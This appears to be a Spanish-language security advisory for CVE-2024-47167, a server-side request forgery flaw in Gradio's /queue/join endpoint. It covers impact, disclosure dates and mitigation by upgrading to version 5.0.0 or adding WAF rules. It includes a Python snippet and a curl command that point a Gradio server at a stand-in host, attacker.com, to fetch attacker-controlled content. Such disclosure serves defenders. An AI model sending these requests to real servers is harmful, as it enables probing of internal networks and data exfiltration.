Gradio vulnerable a SSRF en el parámetro de ruta de /queue/join

Un atacante puede explotar esta vulnerabilidad para forzar al servidor Gradio a realizar solicitudes HTTP a URLs controladas por el atacante. Esto podría permitir el acceso a servicios internos que normalmente no son accesibles desde el exterior, como bases de datos, servidores de administración o APIs internas. El atacante podría, por ejemplo, escanear la red interna en busca de servicios vulnerables o exfiltrar datos confidenciales almacenados en esos servicios. La capacidad de almacenar el contenido de las URLs solicitadas localmente también facilita la carga de archivos maliciosos en el servidor, lo que podría llevar a una mayor escalada de privilegios o a la ejecución de código arbitrario. Esta vulnerabilidad comparte similitudes con otros ataques SSRF, donde la falta de validación de la URL de destino permite a los atacantes eludir las restricciones de seguridad.

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. Reservado2024-09-19
2. Publicada2024-10-10
3. Modificada2025-01-21
4. EPSS actualizado2026-04-02

La mitigación principal para CVE-2024-47167 es actualizar a la versión 5.0.0 de Gradio o superior, que incluye la corrección para esta vulnerabilidad. Si la actualización a la versión 5.0.0 causa problemas de compatibilidad, considere implementar una solución temporal utilizando un proxy inverso o un firewall de aplicaciones web (WAF) para bloquear las solicitudes a la /queue/join endpoint que contengan URLs sospechosas. También se recomienda revisar la configuración del servidor para asegurarse de que solo se permita el acceso a los recursos internos desde fuentes confiables. Implemente reglas de WAF que bloqueen solicitudes con URLs que contengan caracteres inusuales o que apunten a direcciones IP internas. Después de la actualización, confirme que la vulnerabilidad ha sido resuelta intentando acceder a /queue/join con una URL controlada y verificando que la solicitud sea bloqueada o redirigida.